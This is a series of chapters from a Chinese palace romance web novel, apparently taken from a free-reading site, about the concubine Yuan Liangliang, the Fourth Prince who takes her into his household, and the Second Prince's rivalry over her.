“敢情母妃在儿子后院还安插了眼线,今晚上儿子回去就把人送还回来,母妃可勿气。” 舒妃娘娘失态翻个白眼,还叫她勿气,她非得被气死不可! 算了,好在她还有个他遣不走的。 舒妃瞧着她皇儿,又瞧瞧皇儿身边的两个女人,想想大殿二殿后院妻妾成群,包括陛下更不遑多让,怎么她皇儿就搞特殊呢。 舒妃想到此,想起选秀结束后发生的一个事。 她幽怨瞥了四殿一眼,说道:“你们可有听说前段时间发生的一件事,就是选秀后不久发生的,一个秀女因落选,伤心之下跳了湖,之后虽被人救起,但至今都还在病榻上没能起身。哎,真是可怜见的。” 舒妃看向四殿:“如若皇儿你多纳几个人进府,刚好有此秀女,此事也就不会发生了。” 四殿很不解:“她干嘛投湖,落选了回家再让家里安排嫁人不就好了?再说皇家后院有什么好进的,女人多是非多,天天唱戏不腻吗?” 这话说的,舒妃捂脸。 正妃替舒妃开口解释:“殿下,能被送来选秀的秀女,定是抱着和皇家结亲的意图来的,这没选上,指不定会被家里人嫌弃,嫁人也是个问题。” 四殿表情沉重,想着下回就向陛下请示减少各地送选人数好了,或者推迟选秀年限也成。 ... 元良良前日去请辞,芸娘说她忙,让她晚一点。元良良于是昨日又去,芸娘还是说忙,不肯见她。 关键是你忙归忙,工钱总要先付了吧!元良良气到跺脚。 由于工钱没结清,元良良今日只得再去找芸娘。她决定了,这次必须要到工钱! 夕阳西下时的花满楼后湖岸上和水榭围满了人,不论男女老少谁都想免费一睹花魁娘子的倾世容颜。 花船灯火通明,往常这时候花魁娘子已然站在船头翩翩起舞了。 岸上有大胆的语气不耐催促,一个人催促后就有无数个人站出来跟着一起起哄。 没多久,花魁娘子终于现身。 一袭薄如蝉翼的水红纱裙罩在凝脂般的肩上,女子缓缓起舞,正当大伙看呆时,只听惨叫一声,花船上的女子竟摔倒了。 花魁娘子今日上船时没踩稳崴了脚,要是提前一点,她没上船大不了换人,不巧的是她上了船,还没等她反应,船夫已然载着她到了湖中央。 再回去且不说时间上赶不及会被芸娘奚落,芸娘本就一直偷摸寻合适的人试图换了她。 再则岸上人到得不少,今日要不跳这一场,势必对她名声有影响,这样芸娘就更有借口拿捏她了。 她努力了这么久,怎可轻易放弃,于是在大家的催促声中,她忍着脚疼,试图蒙混过这一场,谁知还是出事了。 花魁娘子泪水涟涟,她心里气自己不争气,也因为脚真的好痛。周围没有一人安慰她,除了嫌弃,就是埋怨。她眼泪掉更凶猛了。 泪眼朦胧间,她看到了岸上冲自己挥手打手势的……元良良? 那个芸娘想要将她替换了去,新提拔的小姑娘。 花魁娘子懂元良良的意思,但她不甘愿被此女抢了风头,是以坐在船仓里当没看见。 只是周围笑闹声更大了,还有人大声呵斥她下去。 花魁娘子忍了又忍,最终让船夫将船开到元良良那边去,又让乐手准备起乐。 元良良冲众人大声解释:“小女是花魁娘子的丫头,今日就由小女为大家跳这支舞。” 花魁娘子扯了扯精致妆容的面皮,附和元良良的话:“是,没错呢。” 不甘心又加一句,“她也可以说是奴家带出来的人。有失礼之处,还望官人们多包容。” 花魁抬手,示意乐起。 元良良就在岸边,水榭旁,满天落霞下,迎着空灵乐声,轻舞着她的身体。 舞不够激烈,但她身体各处都很美,手臂、腰肢、以及细长的腿,无不彰显着轻灵和韵味。 风起时,将她的衣裳紧贴身体,显出属于少女曼妙的身材。 她的腰也是真的很软,众人就看到她探下腰,以一个常人不能做到的姿势,伸手去够湖里开得正艳的荷花。 二殿和四殿今日在宫门口偶遇,两人的皇子府本就在一个方向,是以两辆马车并驾齐驱,是谁也不肯让谁先过。 二殿纯粹是看四殿不顺眼,他还记着选妃时这老四坏了他好事的事。 而四殿纯粹觉得二殿马车的马跑得不如自己的马快,是以不想让。 直到两辆马车停下,四殿探出头去,幺平解释说前面石桥上人满为患,他们暂时过不去了。 二殿知道这定是花满楼的花魁娘子又在花船上跳舞吸引了大家围观,于是也不急着走了,他探头去看湖中,然后就见到了他得不到却至今忘不了的女人。 6. 陆 《贵妃太爱朕了怎么办》全本免费阅读 “春雨呢?” 元良良这才想起小丫头春雨,她被美色所惑,就这样遗忘了对自己忠心耿耿的丫头。 四殿还在想她刚才说的话。 欢喜他? 那二殿下呢?她也欢喜吗? 随即四殿又想到,一个女子公然说欢喜一个男子真是有失体统! 四殿遐思被打断,但很快反应过来,知道她说的是跟在身边的丫头,语气沉沉说:“又不是小孩子,她找不见你,自然就回去了。” 元良良觉得有道理,于是说:“殿下,小女这样不方便回客栈。” 四殿觉得自己理解她的言外之意,她是想跟他回府?这成何体统! 四殿决定回绝她,并要教教她礼义廉耻。正准备张嘴,就听到她说:“殿下方便给小女找一身干净的衣裳吗?” 殿下掀帘吩咐幺平,随即发现马车竟然已经到了他府门口。 他迅速放下帘子,心里想着等下必定要好好惩治下这个幺平,真是越来越不把主子放眼里了。他什么时候交代他带人回府了? 四殿眼瞧着披着墨色斗篷的女子清丽丽一条迈进那家陈旧朴素的客栈大门。此时正是晚膳时间,客栈大堂几乎坐满了人。 而有几个男青年就这样目不转睛盯着她上楼的背影瞧,还有油腔滑调的互相调侃声。 四殿眼里是浓浓的暮霭。他心里刚有了思量,只听一声吆喝,幺平驾了马车载着他离开。 马车极迅速奔跑在宽阔的大街上。 四殿喊:“幺平。” 幺平回半个头,笑回:“殿下饿了吧?没事,咱这就回府了。” 幺平不知道殿下饿不饿,反正他刚才看到客栈里的人吃大鸡腿,他挺饿的。 幺平听到四殿要他回去,很不可思议。 四殿没解释,只是说了句:“今晚上回府,你就别吃饭了,该罚。” 听到该罚两字,幺平知道他殿下不是在开玩笑。他不敢反驳,只在心里想自己做错了什么事吗? 苦恼想了半天,又想他真有做错事吗? 四殿下马车,进了客栈。他一走进去,守马车的幺平顿时发现客栈更狭窄了。 四殿径直跨上客栈的楼梯。 柜台前的掌柜及小二眼睁睁看着他不打招呼直接上楼,要换了别的任何一个人,早被抬着扔出去了。 然而他们见到的年轻男人,一看就不是他们能招惹的,并且让人发自心底胆寒不敢接近。 四殿上楼,掌柜想想随他去吧,于是催促小二干自己的活去,他自己也低头算账,就当没看到那男的。 四殿不知道元良良在哪个房间,好在客栈没几间房,之前他盯着她上楼,看不见人影,但能听清她进哪个房间的动静。 听到有人敲门,元良良当是春雨丫头,没多想拉开门,看到了四殿下,她两眼放光。 四殿下想到楼下一帮男客人,他在楼上都能听到此起彼伏的粗犷嘈杂声,他心底很不满:“随便给男人开门,就是大家闺秀的做派吗?” 元良良本来侧身想迎他进屋的,听到这话,她在考虑。这要是放他进屋,他会不会又觉得她太随便?于是默默推门,想让门缝看起来小一点。 四殿下察觉到她的意图,心里冷哼一声:“现在知道关门不觉得为时已晚?” 四殿察觉到有人偷窥自己,于是二话不说推门进屋。 四殿打量眼前的屋子,只需两眼就能全收眼底。 一张方桌在离床不远的地方,床上除了一团被子,还有乱七八糟一堆衣服。四殿在方桌前的凳子上坐下。 元良良给客人倒水:“殿下喝茶。” 四殿拿起杯子打量,发现还算干净,就十分矜持小抿了口,马上又皱眉:“这不是茶,这是凉白开。” 元良良心虚笑笑。她自然知道,但这小客栈,热水需要自己去厨房提,她嫌麻烦。“殿下将就下?” 四殿打量她:“本殿看你也不像是将就的人。你那丫头不知道伺候主子吗?” 元良良心想,她丫头还要靠她跑腿养活呢。 “这茶……水早上打来是热的,不过放凉了。现在天气热,喝口凉水不打紧的。” 四殿十分自然说:“你落水了,要喝热的。” 这是关心……她? 元良良有点受宠若惊,一时反应不及。 四殿想想算了,还是等回府后他再给她安排吧。 四殿又打量她,见她已经换了一套干净的衣裳,转眼瞥见床上乱七八糟一堆,命令道:“去收拾了。” 元良良觉得甚是羞愧,被个男人看到自己乱七八糟的闺房,还是她心仪的男人。他一定觉得她这个人也是乱七八糟的。 元良良飞快扑到床上,扯过被子底下压着的两个布包,将一堆衣服塞进去,利落收拾完整。 两个圆滚滚的布包放在床前,要是四殿没看到刚才惊心动魄的一幕,其实看着还挺像模像样的。 元良良解释:“小女打算明日就和丫头一起离开这里,衣服鞋袜拿出来是要好好收拾打包的,只是还没收拾妥帖,殿下就过来了。” 四殿闻言,问:“离开这里去哪?” 元良良说:“小女打算和丫头另外找个落脚地。” 四殿想到什么,又问:“你的家里人怎么不来接你?” 元良良侧半个身,她不是很想回答他。 只是四殿何许人也,他想问的问题是必须要有答案的:“说话。” 元良良硬着头皮,扭扭捏捏回:“落选了,怕家里责骂。” 四点心想,果然是这样。“所以,你宁愿选择跳湖,也不愿回家?” 元良良没想到他竟念念不忘这事。她觉得有必要让他清楚知道,于是大致解释了遍。她不是要跳湖,她只是跳舞,是他四殿下误会了而已。 四殿明了,声音沉沉:“所以你一个大家闺秀为何要去抛头露面跳舞?” 这事解释不清极容易引起误会。元良良不想他误会,于是慎重开口解释。她是第一次跳舞,只是为了给朋友解困而已。她不是去当舞姬,只是当跑腿的而已。她情真意切说:“殿下,比起饿死,小女凭自己的双腿养活自己个有错吗?” 四殿一时静默,半晌严肃道:“只这一次,以后不许。” 元良良觉得他这话很有歧义,正暗自琢磨着。 听到他又开口:“二殿说要娶你做侧妃,只刚才你已与本殿有了肌肤之亲,理应要跟本殿回府。所以,你是要做二殿的侧妃还是做本殿侍妾?” 元良良惊呆了。 四殿等着她回话,突然心里有些莫名的慌。如果她拒绝,他又该如何做? 转而又想,不能够。二殿没机会,她只有选他。 在后湖时,元良良也是看到了二殿下的,她惊恐想,原来二殿下还要打她主意? 那么眼下她要怎么做?她只有两条路,要么就今晚趁天黑和春雨逃之夭夭,找一个二殿寻不到的地方隐姓埋名过日子,要么就从了四殿。 诶? 四殿这是愿意给她机会了? 元良良想到这,莫名感到兴奋。 还……还用选吗,她当然是…… “小女想和四殿下在一起。”她说得飞快,生怕有人反悔似的。 她说“在一起”?四殿心里觉畅快。 四殿自是表面不显,起身道:“本殿在马车中 7. 柒 《贵妃太爱朕了怎么办》全本免费阅读 幺平小声问四殿:“是找皇子妃安排吗?” 四殿看一眼身后低眉顺眼,只一双灵动的眼珠四处瞟动的女人:“去找王子福吧。”王子福是四皇子府的大管事,由陛下亲赐,也经他手调教过的人。 等王子福到了,四殿交代:“打扫出个院子给夫人居住,准备热水给夫人沐浴,再找两个能干的丫头伺候着。”四殿目光沉沉瞥了眼抱着元良良胳膊的丫头说。 王子福答了声,立时下去办。 都以为这晚殿下会在新夫人这,谁知并没有,不过四殿也没去王妃及侧王妃那就是了。 第二日,四殿如往常一般早早去上朝,路上又遇到了二殿下。二殿下表示增进兄弟感情,硬要跟他挤一车。 二殿下上来后,也不客套,直接说明来意。他问四殿他昨晚带走的女子送去了哪里,他打算再去求下母后,求母后成全他和元家女。 四殿表示昨晚将人送回了客栈。不过之后的转折嘛,他就没必要和无关的人解释太多了。 二殿问了哪家客栈,在心口默默记下客栈名字,得到想要的答案后,二殿开始转移话题,对四殿的后院生活产生的兴趣,一路上闲着也是闲着,于是二殿问:“四弟最近与府中正妃侧妃相处如何?” 四殿:“挺好的。” 二殿:“怎么个好法?说给二哥听听呢。” 四殿:“皇子妃很懂规矩。” 二殿:“……” 二殿下下朝后就去找了皇后,一把鼻涕一把泪,并苦苦表示只要把元家女给他当侧妃,以后一定在父皇面前好好表现,努力再努力,争取夺下他们母子都想要的。并说他只要这一个,此后一年半载他决不再纳其他女人入后院。 皇后无奈,心想着,用个女人激励二皇子成长也算好事一桩,于是就同意了。 二殿下得到准信,兴冲冲出府,特地将自己打扮了一番,还郑重带了仪仗队和侧妃轿辇去客栈接元家女。结果到客栈才知人已经退房离开了。 二殿下得知是昨晚离开的,还是坐了一个贵气男子的马车离开的,他立马醒悟,又马不停蹄赶往四殿下府叫门。 二殿下见到来迟的四殿下,心里有气,硬是忍了没发作:“四弟,你不是说把人送回客栈,怎么客栈掌柜又说被你接走了?” 客栈掌柜可没说被谁接走的,这话纯粹是二殿唬四殿的。 四殿身形端正坐在主位上,道:“二哥只问我把人送去哪里,我是把人送回了客栈。要不然客栈掌柜也不会知道是本殿把人带走的。” 二殿觉得他在耍自己,奈何此人一本正经,二殿没证据。 “算了,这事我不追究。只是你究竟把人带去哪了,元家女现在在哪?”二殿最后半句字字铿锵,意思很明显,一定要四殿给个说法。 四殿也不打算瞒着,老实说:“自然在我府上。” 二殿没听出四殿话中的真实含义,换了大殿,二殿就要愁了,但四殿嘛,他压根没想过四殿会跟元家女有什么。要知道选秀那天,四殿可是明确表态不喜元家女的。 二殿表情松弛,道:“皇后娘娘已经答应让本殿迎娶元家女为侧妃,如今她是你二皇兄的良侧妃了。” 四殿紧随其后从容道:“元家女昨日晚已入我四皇子府后院,如今已是本殿侍妾。” 二殿倒退两步不可置信指着他:“你、你骗人!” 四殿从容不迫,一副“你爱信不信”的架势。 二殿崩溃了,他实难接受此现实。冲到四殿面前,叫嚣:“你不是说过厌恶她,说她妖媚,不配进皇家后院?你现在是什么意思,你不让我纳,你自己纳了?” 四殿自己说过的话自己都忘了,这时候经提醒,他想起来。貌似自个还真说过。他只好答:“形势所迫罢了。” 二殿更崩溃了:“好一个形势所迫,你倒说说谁迫你了?” 四殿:“昨晚她掉下水,我即与她有了肌肤之亲,怎能不负责任。” 二殿缓缓呼出口气,他捏了捏拳,好言好语再开口:“四皇弟,二皇兄知道你看不上那女子,皇兄并不介意她在你府里一晚,你看,要不然将其让给皇兄如何?你要什么东西,但凡皇兄府里有的,都可答应予你。” 四殿没想到二殿能说出这番话,他蹙了蹙眉,道:“二哥说笑了,元家女即已是本殿女人,那断不能再送人的。” 二殿恼火:“你又不喜欢她!” “喜不喜欢不重要,重要的是她已是本殿女人。”四殿又重复那句。 二殿忽然觉得想明白了什么。他一定是故意的,包括选妃那天,他也是,故意搅黄了不让自己纳元家女,今日亦是想看自己笑话! “老四,为兄怎么不知道,传言少根筋的四殿下竟也会这么狡诈阴险?” 四殿下不否认少根筋,更不否认狡诈阴险。别人说他的多了,他要计较,怎么计较得过来。 二殿最后放狠话,不会就此罢休云云,随后扬长而去。 四殿当然是不怕被要挟的。 清净之下,四殿又想起被提醒的话。他可不止在二殿面前说过元家女狐魅及她不配进皇家后院的话,他也在元家女本人面前说过。四殿下回忆了下,就全想起来了。 他一个人在兵器库沉默良久,出来后,问幺平:“夫人今天在做什么?” 四皇子府后院除了一正妃二侧妃外,也就只有一个夫人。 幺平庆幸自己不久前刚探听了消息,昂着脖子回:“良夫人早起用了早膳后,转了一圈院子,又逛了半个时辰园子,如今还在园子里,欣赏种的花。” “把她喜欢的园子里的花移栽到她院里吧。”说完,四殿挥手。 四殿第一次觉得自己的话说得有点过了,但他不承认自己是错的,毕竟他说的都是实话不是么。 第二日早朝,四殿被弹劾了。还是二殿亲自向陛下告状,说四殿下强掳民女,私德不修。 众臣内心:“这怕不是说的二殿下你自己吧。” 陛下虽也不信,但总归要意思意思盘问被告两句。 于是就听到四殿下坦荡荡解释:“儿臣问过元家女,是愿意跟了二殿下,还是儿臣,元家女亲口说心仪儿臣,宁做儿臣侍妾,也不当二殿侧妃。” 二殿直说不信,然而他的心还是因四殿下的话稀碎。 “儿臣之所以纳元家女入府,实乃当时情况特殊,元家女掉入湖里,儿臣将其救起,男女有别,儿臣即看了女儿家的身体,自当负责到底。” 四殿下一席话听得众臣连连点头,世人皆知四殿下从不撒谎,这有话必说的性子哪怕是用来变相夸赞自己也毫不让人觉得别扭。 陛下也跟着点头:“朕的四皇子不愧是朕的四皇子,像极了朕哪。” 众臣内心:“呃,现在别扭了。” 二皇子怎堪甘心,哪怕众臣都不站他这边,他也要泄了这口气:“四殿下,皇后娘娘做主让元家女许我为侧妃在前,你说元家女想做你侍妾,而不想当我侧妃?笑话,侧妃可是能入皇家玉牒的,侍妾是什么,侍妾只是个玩物!哪个女人会这么傻?” 众臣内心:“好像是这么个道理。难不成真是四殿下……?” 陛下也动摇了。目光在二殿下与四殿下脸上徘徊。 四殿目光沉沉:“爱信不信,总之如今元家女已成我后院女人,不会改变。” 二殿下向陛下行礼:“父皇,儿臣要一个说法。能否让元家女自己站出来选择?” 陛下觉得这个方法甚好。 二殿下见陛下同意,接着说:“为避免有人胁迫元家女,儿臣想让父皇身边的贾公公亲自去四皇子府接元家女进宫。” 四殿眼中寒芒毕露,他的女人是要在朝上给这么多 8. 捌 《贵妃太爱朕了怎么办》全本免费阅读 朝中闻听确是二殿冤枉了四殿,众臣无一惊讶,包括皇后母家的永定侯府及支持二皇子的一干亲信都是一副“我就知道,果然如此”的淡漠神情。 众臣皆看到二殿下隐忍愤慨的神情,再去看四殿下日常稳如泰山,这高下立见。有悄摸摸支持四殿下的几个大臣心里狂喜,狂喜的同时又惋惜。众人皆知四殿下一心只在沙场,从未有过争权之心,这样没有野心的皇子叫他们这些追随者可真是为难哟。 好在还有大殿下,四殿下信赖大殿下,日后大殿下夺位成功,想必对朝廷,对他们也是幸事。 四殿带着元良良一起出宫,上马车后元良良提出想了许久的请求:“殿下,路过花满楼能否停下车?” 花满楼?这不就是二殿常去的温柔乡?四殿知道是个什么地方。他瞅了她一眼,不说话,意思再明显不过,他不同意。 元良良凑过去,坐到四殿身边,歪着头看他,下巴都快抵到四殿肩窝了。“殿下,花满楼的芸娘还欠我工钱,我得去要回来。” 四殿闻着鼻尖不知名的花香,问:“你很缺钱?” 元良良笑眯眯说:“以前缺,现在嘛,有吃有住,不缺。”她顿了下,又说,“不过这是我的血汗钱,是我差点跑断了腿挣回来的,不能不要。” 四殿对于“跑断腿”很好奇,“‘跑断腿’是个什么活?” 元良良说给他听:“花船上的花魁娘子和乐手总要吃饭吧,总要喝水吧,总要有人递个话啥的吧,这时候就需要良儿了。” 四殿不解:“也包括跳那种上不得台面的舞吗?” 元良良不敢苟同四殿下的话,但她眼下不说。等到她去芸娘那拿回工钱再说。她见四殿没有推开自己,于是头彻底歪进四殿下的劲窝,拨弄着他衣襟的金丝绣线恳求。 四殿想着这回有他陪着,以后这不安分的女人也出不了府,也就没再拒绝。 元良良和稳坐花满楼大厅一角的四殿说了声,便熟门熟路上了二楼芸娘的房间。 芸娘看到元良良吃了一惊,马上一脸惊喜招待元良良。元良良才没工夫和她闲扯,她直接摊手要工钱。 芸娘这回爽快:“给给!瞧你财迷的,长这么好一张脸,这么好个身段,还会跳舞,何愁不来钱。”芸娘不紧不慢从梨花木抽屉内取出一包银子,边递过去,边肆无忌惮的眼神打量她周身,笼络的意味十分明显。 元良良拿了钱,低头一瞧发现给多了。她毫不犹豫从里面将自己那份拿出来,其余还给芸娘。 芸娘冷下脸:“你来这也有一个多月了吧,可有听说我芸娘迫人干那见不得人的事?芸娘可以向你保证,只要你来当花满楼的花魁娘子,你要什么芸娘都给你,也发誓绝不强迫你干不该干的事,怎么样?” 元良良心里觉得有丝丝惋惜,这个条件真的很诱人哪。她要是没给四殿下当侍妾,可能真的会答应。 芸娘见她摇头,脸更臭了,但还是忍着怒火继续劝:“这样,你要是事情多,可以不用常来,一周来两趟也行。” 元良良十分为难,她问:“翠音姐姐又美,又会跳舞,我看大家都很喜欢她。芸娘,你这样让我顶替翠音姐姐,不仅我为难,她也会难过的。” 翠音就是花满楼的花魁娘子。 芸娘叹口气,毫不遮掩告诉她:“翠音是美,但她老了。还能有几年,我总要找接班人吧?” 门口正要敲门的花魁娘子听到这话,心颤了颤。是啊,她老了,不仅男人嫌她老,就连昔日为自己筹谋的亦师亦友的芸娘也嫌弃她老。 元良良闻此言,诧异:“她才二十六岁,怎就老了?那七八十岁的老夫人算、算什么?”她气得都结巴了。 芸娘毫不亏心说:“做我们这行终究是不一样的。那些达官贵人为啥愿意花大钱来我们这儿,还不是因为家中的年岁大了,没意思,如果我们花满楼也都是皱巴巴的一群,谁还会来,对吧?” 元良良苦恼想想:“这话也没错。” 芸娘开始博同情:“所以你看花满楼坚持到现在多么不容易,你能不能帮帮芸娘?你要什么条件随便你开!” 元良良无奈,她本来不打算说的,但这芸娘死皮赖脸,她只好说出实情。“不是我不同意,是我……相公不同意。”她没勇气说出自己给人做妾的话。 芸娘咋舌:“不是吧?” 门口的花魁娘子也诧异万分,立马想到了楼下被带刀护卫守着的年轻男子。 芸娘见不是她本人不情愿,觉得还能再努努力:“你看,那些达官贵人的后院,哪一个不是小妾成群,有些老男人都走不动道了,后院小妾都还如你这般嫩的能掐出水来。你说这说明什么?” 芸娘自问自答:“这说明呀,不论做正妻还是做小妾,都没有自个有本事及有钱来得舒坦。所以,你要不要?”要不要抛弃相公,投入她芸娘的怀抱呀? 元良良叹气:“我相公不是我想抛弃就能抛弃的。” 四殿坐在楼下,是真的干坐着。这里上的点心和茶水他不想喝,女人他也嫌硌眼。 一开始还有衣裳轻薄的女人捏着帕子上他跟前,都被幺平他们拔刀吓走。后来谁都不敢来找他晦气,只是远远围观打量,并互相询问谁见过此人认得此人。 四殿数着沙漏等人下来。然而,这一等就是一个时辰。 不仅四殿震惊自己的耐心,就连幺平都震惊良夫人的胆量。 四殿心想莫不是出了事,于是利落起身上楼。幺平带着护卫队两边开路。 花魁娘子也不想偷听她们讲话,奈何她是要进去的,就是找不到合适的时机,又怕等她回去再过来,元良良就走人了,于是她只能等在门口,想等她们聊些正常的话题时再敲门进去。 谁知这时候在楼下坐着的年轻男人竟然上楼来了,在和她同一扇门前站定。 幺平犀利的眼紧盯花魁娘子,低声呵斥:“让开。” 花魁娘子脚步不稳退到一边,扶着栏杆才站稳。 四殿刚好听到里面的说话声,先是熟悉的小女子的声音,有些哀怨:“我相公不是我想抛弃就能抛弃的。” 随后是个不失城府的中年女人声音:“只要你愿意,芸娘可以帮您搞定你相公。还是那句话,仰男人鼻息过活多没意思,不如在我们的花满楼,让男人仰咱们的鼻息,这才快活!” 元良良竟然觉得十分有道理,她虽真不敢怎么样,但和芸娘唠唠嗑过过嘴瘾也是极好的。“ 9. 玖 《贵妃太爱朕了怎么办》全本免费阅读 元良良回她的院子前,冲将与她分道扬镳的殿下眨眼睛:“殿下,晚一点你要来菡萏院吗?” 四殿想了下,确实没要紧事,于是点头答应。 元良良就高兴地提着裙摆跑远了。 四殿盯着她的背影,直到瞧不见,才转过头,继续往兵器库去。 元良良回到菡萏院,就让春雨给她重新束发。不要高髻,不要珠钗,就用湘妃色丝带绑住头发,再簪一朵牡丹花就好了。 她打算给四殿下献个簪花舞。 那天在皇后娘娘那,她听到他说花很香,应该和她一样喜欢才对。 四殿今日练长枪,这一杆玄铁铸造,分量不轻,他没练多久便满头大汗。 幺平等四殿停下,才上前问:“正妃娘娘那来问,今日殿下是否会过去。”幺平轻声补充一句,“今日十五。” 四殿听到十五,没多犹豫,便说:“过去。” 幺平心里觉愧对可怜的良夫人,殿下忘了今日什么日子,他怎么也忘了。要是在良夫人提出让殿下去菡萏院时,他提醒一二,也不至于闹这样的乌龙。 既然要去王妃那睡觉,那四殿便打算今日练到这,他还没忘了答应元良良要去她那的事。他将长枪递给侍从,又去换了身常服,便往后院去。 幺平认出这是去菡萏院的路,心想他殿下真是好本事。这不一下解决两人。 此时天色尚早,天空彩霞飘飘,映照得整个四皇子府都霞光异彩。 四殿跨进菡萏院,映入眼帘就是一大片娇艳的牡丹,鼻尖是宜人的花香,他停住脚步。 一身红衣的良夫人比之牡丹还要娇艳几分,如花仙子般从花丛中出现,她嘴里含着一朵开得最艳丽的牡丹花,轻移莲步向四殿而来。 良夫人靠近四殿时,要将花献给四殿,四殿要接过,谁知抓了个空。然后他看到晚霞下从花丛中飞出的花仙子开始曼妙起舞。 幺平看到良夫人露出的半个肩膀时,他吓得赶忙转身。他虽是太监,但这种场景也不是他可以见到的。幺平火速消失不见,还带走了在院门口的两名亲兵守卫。 簪花舞欢快妖娆,元良良在临沅老家第一次看到勾栏院的女人跳时都被惊艳了,后来才发现跳舞的女人样貌平平,只是这支舞为她增色不少。 元良良对自己的舞还是很满意的,毕竟她无事就练那么几下,久而久之,这些动作都快印进了她的骨血里了。 系在腰间的湘妃色飘带随风飘远,大红的衣衫洋洋洒洒伴风在空中,凝脂雪肤若隐若现。 元良良轻巧如腾飞般靠近四殿下,脚丫子踩上四殿下黑色的靴子,两人几乎没了空隙。目光相触时,元良良心中警醒,还没等她从他身上跳下来,四殿先她一步作出反应。 四殿用手臂紧紧环住她腰身,两人间就彻底没了空隙。元良良感受着他的体温,脸色酡红,心猿意马,跳舞勾引人家时她不觉得有什么,直到此刻,她只觉自己飘飘然。她双手刚要环上四殿脖子,就听到头顶传来不客气的声音:“还有没有点女儿教养,元大人就是这么教女儿的?他好大的胆子!” 元良良被吼得瞬间清醒了几分。她委屈:“殿下,良儿舞跳得不好吗?” 四殿心里回答舞极美,人更美。但…… 四殿心里其实极矛盾的,他不否认他是有点喜欢的,但从小的教养告诉他,他不应该喜欢这种有伤风化的东西。从前二殿下几次想怂恿他去烟花之地,他都不为所动,谁曾想有朝一日竟会出现在他后院。 四殿下想想就不能忍。“不懂规矩就去好好学规矩,下次胆敢再犯,家法伺候。” 元良良以为他又会推开她,结果意外的并没有,不仅没有,还将她胡乱裹一通,将她送回了卧房的床上,随后才又大步离开。 四殿下也不知怎么就没狠下心,他应该让她知道他就是这府里的家法,但等他反应过来时,他已经抱着人进了房。直到走出菡萏院,四殿下还能感受到那柔弱无骨的温暖触感,他甚至记得她果露的双足荡在他的腰间,令人酥麻难耐。 因为良夫人的所作所为,四殿下生了一晚上的气,于是彻底忘了今日晚他是要去正妃屋里的。幺平几次想提醒,都被他冷着脸打断,直到第二日四殿上朝回来,碰到给他请安的正妃,他才后知后觉想起来。 正妃段凝知道府里新进了一个侍妾,虽说是殿下亲自迎进府的,但因为是侍妾,她也不屑一顾。只是这几日她发现,殿下似乎对菡萏院的良夫人不太一般,就说昨日,殿下明明答应来她这的,岂料去了一趟菡萏院,就不过来了。 好在殿下也没在菡萏院留太晚就是了。 今日她之所以等在这,就是想知道殿下向来重规矩的一个人,为何因为一个侍妾失信于她。 四殿以为每月都有初一十五,再等等日子很快会来的。他也一直觉得正妃是心胸开阔之人,应该不至于在此等小事上耿耿于怀。然后,他就发现,正妃今日话有点多。 “殿下,昨日母妃给妾身及侧妃都送了不少好料子,您看,良夫人那需不需要妾身给匀一些过去?” 四殿回:“正妃做主便好。” 正妃:“殿下,妾身到如今还没见过良夫人,也不确定膳房那是否符合她的口味,您看需不需要给良夫人那也添置个小厨房?总归咱们府里现在后院主子也不多,还伺候得过来。” 四殿注视着眼前的卷宗,没多想说:“按规矩办即可。” 正妃嘴角微微上扬,柔声又道:“听幺平说,您昨日要处理紧急政务,是一夜未睡?” 四殿抬头注视她,目光自然平和:“本殿以为你知道,原来你不知道?幺平只是找的借口,本殿昨日只是被菡萏院气到了罢了。” 正妃似犹豫着问:“不知良夫人做了何事惹您生气?” 四殿:“不守规矩。理当好好教导,否日后四皇子府非被她搞得乌烟瘴气不可。” 正妃见四殿下还是那个不苟言笑,规矩为重的四殿下,她才放心下来。只是回到正院,她忽然又觉得哪里不对。 想了许久,才有点想明白。不一样,还是不一样的。 殿下让许侧妃学规矩,是交由她去办,而菡萏院那个,殿下却从不要她过问。照理说侍妾入府安排,总要经过她这个正妃,殿下却交给王子福去办。殿下口口不离按规矩办,侍妾进府后难道不该向她这个主母磕头敬茶? 没有,都没有。她不信殿下也会完全不知道这个规矩。 ... 殿下说让她学规矩,还特意遣了人来盯梢。原以为就在菡萏院翻翻女戒女训,抄几个字了事,哪成想皇子府竟然还养着教女子规矩的嬷嬷。两个嬷嬷从前还都是宫里的尚宫,得以出宫后就被舒妃娘娘安排进了四皇子府后院。 元良良不仅见识了两个嬷嬷的手腕,也见到了老熟人许昕蕊。 许昕蕊知道府里新进了一个良夫人,就没想过良夫人竟然会是元良良。许昕蕊毫不掩饰的厌恶,上去就问四殿下怎么会同意纳她进府? 许昕蕊已经学了多天的规矩,可能是就她一人,这些天都乖得很,眼看着明日就能被放出去。她在元良良跟着这么一闹,两个嬷嬷就觉得她规矩还没学到位,摇摇头表示她还有的学。 许昕蕊因此更痛恨元良良了。 许昕蕊自小到大就没少学规矩,除了因在家里受宠娇气些外,她对子悦嬷嬷和子喜嬷嬷手里的那点东西算是信手拈来,她配合起来轻轻松松。 元良良就不行了,抄女戒女训就算了,还得背,一字不落的背,还得了解清楚意思,这要错一星半点手心就得挨板子。元良良一双手掌本就磕碜,受罚了几次就更惨不忍睹了。 两 10. 拾 《贵妃太爱朕了怎么办》全本免费阅读 成婚后的四殿下被舒妃要求,每个月务必腾出一日带正妃入宫觐见。四殿下觉无可厚非,于是应允。 八月的最后一天,四殿下想起来还没去瞧过舒妃娘娘,于是携了盛装打扮的正妃入宫。 舒妃娘娘见到两人,十分高兴,一个劲拉着正妃笑。正妃也一直在说话,只有四殿下默默坐着。 不用舒妃主动问,正妃就将四皇子府里发生的一些事娓娓讲来,比如府里厨子花式过招,献上五湖四海的菜式,有几道菜叫人吃了还想吃,还说四殿下都赞不绝口。 舒妃娘娘表示能让自个皇儿赞不绝口的人少有,于是说改日也做了带进宫让她尝一尝鲜。正妃连声应好。 又比如府里最近新栽了好些叫不出名的花,还请了民间的养护高手,说都是殿下的功劳,让府里的花园变得更美更气派。 舒妃想到那日元家女头上就带了一朵开得尤其漂亮的牡丹花。于是说:“你们府上的牡丹花想必开得不错。” 正妃看一眼目不暇视端坐的四殿,和舒妃说:“那自然。良夫人尤其喜欢牡丹花,为此四殿下还将园子里的牡丹花都移栽去了良夫人的菡萏院,殿下又见园子变得空荡荡的,这才从外面又找了好些品种进来。那养护高手也是神奇,经过他的手,没两天良夫人院里的牡丹开得竟比当初生长在园子里时还好。” 四殿蹙眉,他怎么不知道正妃原来话这么多。 舒妃瞅了四殿一眼,悄声问正妃:“最近四殿下去后院的日子多吗?” 正妃不语,似在想着怎么回舒妃娘娘的话。 舒妃还有什么不明白的,想到什么又问:“那有去元家女那吗?” 